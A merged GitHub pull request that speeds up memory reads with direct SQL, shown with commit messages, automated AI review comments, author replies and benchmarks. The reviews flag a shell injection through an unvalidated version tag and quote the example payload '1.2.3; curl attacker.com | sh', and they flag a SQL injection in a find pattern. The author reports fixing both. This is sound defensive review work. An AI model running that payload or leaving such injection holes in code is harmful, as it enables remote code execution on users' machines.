perf: fast-path all memory reads via direct SQL (312x grep, 8.7x e2e)#47
Merged
perf: fast-path all memory reads via direct SQL (312x grep, 8.7x e2e)#47
Conversation
Move table creation, placeholder insertion, and version check into a separate session-start-setup.ts that runs as an async hook. The fast path (session-start.ts) now only reads local credentials and injects the system prompt context, keeping session startup <1s.
Same split as claude-code: move table creation, placeholder, and version check into codex/session-start-setup.ts. The fast path only reads credentials and injects context.
Add session-start-setup.js as a second SessionStart hook with async: true and 120s timeout. This runs the slow setup (table creation, version check) in parallel with the session.
New capture-queue.ts utility that appends session events to a local JSONL file (~/.deeplake/capture/<sessionId>.jsonl) instead of making direct API calls. Events are flushed to cloud at session end.
Replace direct API calls with appendEvent() from capture-queue. No network calls during capture — events buffered locally.
Same local queue refactor for codex hooks. capture.ts and stop.ts now use appendEvent() instead of direct API calls.
Wiki worker now reads session events from the local capture queue files instead of querying the API. Session-end triggers the flush.
|
Claude finished @efenocchi's task in 3m 45s —— View job 3 issues found:
|
![claude[bot]](https://avatars.githubusercontent.com/in/1236702?s=60&v=4){kind=small}
| "command": "node \"$CODEX_PLUGIN_ROOT/bundle/session-start.js\"", | ||
| "timeout": 120 | ||
| "timeout": 10 | ||
| } |
There was a problem hiding this comment.
session-start-setup.js is never registered here even though codex/bundle/session-start-setup.js is added by this PR and the description says "Same split for codex." Without this entry, Codex users still run table creation/placeholder/version-check synchronously in session-start.js and get no startup performance improvement.
Add the async setup hook after the sync entry:
Suggested change
| } | |
| "timeout": 10 | |
| }, | |
| { | |
| "type": "command", | |
| "command": "node \"$CODEX_PLUGIN_ROOT/bundle/session-start-setup.js\"", | |
| "timeout": 120, | |
| "async": true |
Collaborator
Author
There was a problem hiding this comment.
Not a bug — session-start.ts already spawns session-start-setup.js as a detached process (lines 76-88). Codex doesn't support async hooks, so we use spawn(detached: true) instead of hook registration.
The local JSONL queue deferred server writes to session end, meaning data only reached the server after the session finished. This defeated the purpose of real-time capture — if a session crashed, events were lost. Restore the original direct INSERT approach for all capture hooks. With async: true in CC hooks.json, the INSERT still happens in the background without blocking the user. Codex hooks remain sync but the ~200ms INSERT is acceptable. The session-start split (sync context + async setup) is kept.
Collaborator
Author
|
/claude-review |
|
Claude finished @efenocchi's task in 2m 40s —— View job Review
2 issues found:
|
| "type": "command", | ||
| "command": "node \"$CODEX_PLUGIN_ROOT/bundle/session-start.js\"", | ||
| "timeout": 120 | ||
| "timeout": 10 |
There was a problem hiding this comment.
session-start-setup.js was bundled by this PR (added to codex/bundle/) and the source was refactored so all slow operations (table creation, placeholder, version check) moved there — but it is never registered here. Without this entry, Codex users run a fast session-start.js that skips all setup work, meaning no placeholder row is ever created and no version check runs.
Add the async setup hook right after this entry:
Suggested change
| "timeout": 10 | |
| "timeout": 10 | |
| }, | |
| { | |
| "type": "command", | |
| "command": "node \"$CODEX_PLUGIN_ROOT/bundle/session-start-setup.js\"", | |
| "timeout": 120, | |
| "async": true |
Collaborator
Author
There was a problem hiding this comment.
Duplicate of above — resolved. The setup hook is spawned by session-start.ts as a detached child process since Codex doesn't support async: true in hooks.
| `elif [ -d ~/.codex/hivemind ]; then INSTALL_DIR=~/.codex/hivemind; fi; ` + | ||
| `if [ -n "$INSTALL_DIR" ]; then ` + | ||
| `TMPDIR=$(mktemp -d); ` + | ||
| `git clone --depth 1 --branch ${tag} -q https://github.com/activeloopai/hivemind.git "$TMPDIR/hivemind" 2>/dev/null && ` + |
There was a problem hiding this comment.
${tag} (derived from the external getLatestVersion() response) is interpolated directly into the shell command string passed to execSync. A tampered API response with shell metacharacters in the version field (e.g. 1.2.3; malicious_cmd) would execute arbitrary commands.
Validate the tag is a safe semver string before using it in the shell:
Suggested change
| `git clone --depth 1 --branch ${tag} -q https://github.com/activeloopai/hivemind.git "$TMPDIR/hivemind" 2>/dev/null && ` + | |
| const tagPattern = /^v\d+\.\d+\.\d+$/; | |
| if (!tagPattern.test(tag)) { | |
| throw new Error(`unsafe version tag: ${tag}`); | |
| } | |
| const findCmd = `INSTALL_DIR=""; ` + | |
| `CACHE_DIR=$(find ~/.codex/plugins/cache -maxdepth 3 -name "hivemind" -type d 2>/dev/null | head -1); ` + | |
| `if [ -n "$CACHE_DIR" ]; then INSTALL_DIR=$(ls -1d "$CACHE_DIR"/*/ 2>/dev/null | tail -1); ` + | |
| `elif [ -d ~/.codex/hivemind ]; then INSTALL_DIR=~/.codex/hivemind; fi; ` + | |
| `if [ -n "$INSTALL_DIR" ]; then ` + | |
| `TMPDIR=$(mktemp -d); ` + | |
| `git clone --depth 1 --branch ${tag} -q https://github.com/activeloopai/hivemind.git "$TMPDIR/hivemind" 2>/dev/null && ` + | |
| `cp -r "$TMPDIR/hivemind/codex/"* "$INSTALL_DIR/" 2>/dev/null; ` + | |
| `rm -rf "$TMPDIR"; fi`; |
Collaborator
Author
There was a problem hiding this comment.
Fixed in commit 6bce30a — added semver validation: if (!/^v\\d+\\.\\d+\\.\\d+$/.test(tag)) throw new Error()
The generateVirtualIndex() regex only matched hivemind-style session paths (/sessions/<user>/<user>_<org>_<ws>_<id>.jsonl). Generic paths like /sessions/conv_0_session_1.json were invisible in the index. Now supports both formats and strips _summary suffix when matching summaries to their source session files.
session-end and codex/stop now skip wiki worker when capture is disabled. session-start-setup always runs table sync (ensureTable/ensureSessionsTable) but skips placeholder creation when DEEPLAKE_CAPTURE=false. Previously the entire setup block was skipped, which broke table sync and caused stale query results in the fast path.
Grep fast path queries memory (summaries) and sessions (raw dialogue) in parallel. Read fast path falls back to the sessions table for /sessions/* paths. Previously only the memory table was searched, so exact dates and quotes only present in raw session data were invisible to the fast path.
Extract parseBashGrep() and handleGrepDirect() into a shared module used by both Claude Code and Codex pre-tool-use hooks. Replaces the old multi-query approach (bootstrap + BM25 + prefetch + individual reads = 112 queries) with a single LIKE query + in-memory regex refinement. Supports all grep flags: -w, -i, -l, -c, -n, -v, -F, -r. Searches only the memory/summaries table — sessions contain raw JSONB which is slow to scan and produces noisy results.
Replace shell spawn with direct SQL queries for all read-only commands targeting the deeplake memory VFS. Each command now executes 1 SQL query instead of 2-4 bootstrap queries + command execution. Commands optimized: cat, head, tail, ls, find, wc -l, grep (via shared module). Handles real-world patterns: 2>/dev/null, 2>&1, cat|head pipes. Routes /sessions/* paths directly to sessions table (skip memory). Generates virtual /index.md from metadata when no physical row exists. Benchmarks (activeloop/hivemind, 405 files): - grep: 143.9s/108q -> 0.46s/1q (312x) - cat: 995ms/3q -> 151ms/1q (7x) - ls: 920ms/2q -> 128ms/1q (7x) - head: 1065ms/3q -> 142ms/1q (8x) - e2e: 454s -> 52s (8.7x, 0 shell spawns)
Replace inline grep handler (LIMIT 5, no path filter) with shared handleGrepDirect() from grep-direct.ts. Same single-query approach as Claude Code hook.
When mountPoint is "/", the check t.startsWith(mount + "/") becomes
t.startsWith("//") which never matches. Use a pre-computed mountPrefix
that handles the root case correctly.
Removes 11 occurrences of deeplake_sync_table() across bootstrap, flush, session-start-setup, and wiki-worker (both CC and Codex). Each call added 100-300ms latency and was unnecessary for read operations. Saves 2-4 queries per shell spawn and 1 query per session start / wiki generation.
Add traceSql() that logs query start/ok/fail with timing and row counts. Enabled via DEEPLAKE_DEBUG=1 or DEEPLAKE_TRACE_SQL=1. Outputs to stderr and to the debug log file. Essential for benchmarking and diagnosing slow queries.
The createGrepCommand() now accepts sessionsTable parameter for cross-table search support.
Full before/after benchmarks for 14 commands across 49 variants. Documents table routing, real-world command patterns, e2e results (454s -> 52s), and remaining bottlenecks (BM25, indexes, sessions).
Use BM25 (summary <#> 'pattern' AS score ORDER BY score DESC) for grep instead of LIKE substring match. Falls back to LIKE if BM25 index is missing or query fails. Create BM25 index automatically in ensureTable() via CREATE INDEX IF NOT EXISTS ... WITH (index_type = 'bm25'). BM25 gives ranked results (score > 0 = relevant) vs LIKE which returns unranked matches. Speed: 241ms (BM25) vs 497ms (LIKE) on 405 files.
Add 25 tests for parseBashGrep() covering all flag combinations, edge cases (egrep/fgrep, quoted patterns, piped commands, -- separator). Update pre-tool-use tests: commands now hit the fast path (direct SQL) instead of being rewritten to shell. Tests verify interception works for all command variants including 2>/dev/null and cat|head pipes. Fix ensureTable test to expect BM25 index creation call.
efenocchi
changed the title
Instead of auto-generated release notes (just PR links), extract the merged PR title and body to populate the release page. This shows benchmarks, changelogs, and test plans directly on the release page without requiring an extra click.
Collaborator
Author
|
/claude-review |
|
Claude finished @efenocchi's task in 3m 45s —— View job Review
2 issues found:
|
| `elif [ -d ~/.codex/hivemind ]; then INSTALL_DIR=~/.codex/hivemind; fi; ` + | ||
| `if [ -n "$INSTALL_DIR" ]; then ` + | ||
| `TMPDIR=$(mktemp -d); ` + | ||
| `git clone --depth 1 --branch ${tag} -q https://github.com/activeloopai/hivemind.git "$TMPDIR/hivemind" 2>/dev/null && ` + |
There was a problem hiding this comment.
${tag} (derived from the external getLatestVersion() response) is interpolated directly into the shell string passed to execSync — a tampered API response like "1.2.3; curl attacker.com | sh" executes arbitrary commands. This was flagged in the two previous reviews but is still unaddressed.
Add a semver guard before constructing the shell string:
Suggested change
| `git clone --depth 1 --branch ${tag} -q https://github.com/activeloopai/hivemind.git "$TMPDIR/hivemind" 2>/dev/null && ` + | |
| const tagPattern = /^v\d+\.\d+\.\d+$/; | |
| if (!tagPattern.test(tag)) throw new Error(`unsafe version tag: ${tag}`); | |
| const findCmd = `INSTALL_DIR=""; ` + |
Collaborator
Author
There was a problem hiding this comment.
Fixed in commit 6bce30a — added /^v\\d+\\.\\d+\\.\\d+$/ validation before shell interpolation.
| const isSessionDir = dir === "/sessions" || dir.startsWith("/sessions/"); | ||
| const findTable = isSessionDir ? sessionsTable : table; | ||
| const rows = await api.query( | ||
| `SELECT path FROM "${findTable}" WHERE path LIKE '${sqlLike(dir === "/" ? "" : dir)}/%' AND filename LIKE '${namePattern}' ORDER BY path` |
There was a problem hiding this comment.
namePattern is built from the raw shell command via glob-to-SQL wildcard conversion, but single quotes, backslashes, and control characters are never escaped — find / -name "it's_file" produces filename LIKE 'it's_file' which is a SQL syntax error (and potential injection vector).
Use sqlLike first so SQL special chars are escaped, then apply glob conversion on top (since sqlLike doesn't touch */?):
Suggested change
| `SELECT path FROM "${findTable}" WHERE path LIKE '${sqlLike(dir === "/" ? "" : dir)}/%' AND filename LIKE '${namePattern}' ORDER BY path` | |
| const namePattern = sqlLike(findMatch[2]).replace(/\*/g, "%").replace(/\?/g, "_"); |
Collaborator
Author
There was a problem hiding this comment.
Fixed in commit 6bce30a — now uses sqlLike(findMatch[2]).replace(...) to escape before glob conversion.
… in SQL 1. Codex auto-update: validate git tag matches semver (v1.2.3) before interpolating into execSync shell string. Prevents command injection via tampered GitHub API response. 2. find -name fast path: apply sqlLike() before glob-to-SQL conversion so quotes, backslashes, and control chars are escaped before the LIKE pattern reaches the query.
Grep search uses LIKE with path filtering for consistent results. Simplify ensureTable to only create tables without additional index operations. Update tests accordingly.
Port all read command fast paths from CC to Codex: head, tail, wc -l, find -name, cat with 2>/dev/null and piped head. Each command now executes 1 SQL query instead of spawning a shell with full bootstrap. Also handles session path routing (direct to sessions table).
Codex was falling through to the shell (1.8s) for any command targeting /index.md because there is no physical row — it is generated on the fly from memory table metadata. Port the same virtual index generation from the CC hook.
Run vitest with --coverage and display a coverage summary table in the GitHub Actions step summary. Uses @vitest/coverage-v8 (already installed).
efenocchi
added a commit
that referenced
this pull request
Apr 17, 2026
Both session-start.ts and session-start-setup.ts ran on SessionStart and each did an independent SELECT-then-INSERT to create a placeholder summary. Because the hooks run concurrently (setup is async:true), both passed the existence check and both INSERTed, producing two rows at the same path with different UUIDs. Subsequent UPDATE queries (WHERE path = X) then updated both rows, and UIs that don't de-duplicate on path showed the session twice. Fix: session-start.ts keeps the placeholder logic; session-start-setup.ts is now responsible only for ensureTable/ensureSessionsTable and the version check + autoupdate. If the fast sync hook fails to create the placeholder (network timeout, etc.), the wiki-worker still INSERTs a fresh row on its first upload. Issue introduced in 97b86c6 (PR #47, fast-path all memory reads).
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
1 participant
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
Summary
Eliminates the virtual shell bottleneck for all read operations on the Deeplake memory VFS. Every read command (cat, head, tail, ls, grep, find, wc) now executes a single direct SQL query instead of spawning a Node.js shell process that bootstraps the entire file tree (400+ rows) before running the command.
Key changes
pre-tool-use.ts— parses the Bash command, runs 1 SQL query, returns the result. No shell spawn, no bootstrap.summarycolumn viaensureTable(). Grep results are now ranked by relevance instead of unranked LIKE matches./sessions/*paths query the sessions table directly (skip memory),/summaries/*query memory only, root/queries both in parallel.deeplake_sync_table()from all hooks (11 occurrences) — saved 100-300ms per call.grep-direct.ts) — used by both Claude Code and Codex hooks.2>/dev/null,2>&1,cat file | head -Npipes that Claude actually generates.Benchmarks (activeloop/hivemind, 405 files)
grep -w sasun /summariescat filehead -20 filels /summaries/wc -l fileE2E benchmark: "Search memory for hooks/latency" — 454s to 52s (8.7x), 0 shell spawns.
Variant coverage
49 command variants tested: 42 FAST (direct SQL), 8 SHELL (expected — pipes to jq, writes), 0 broken.
Test plan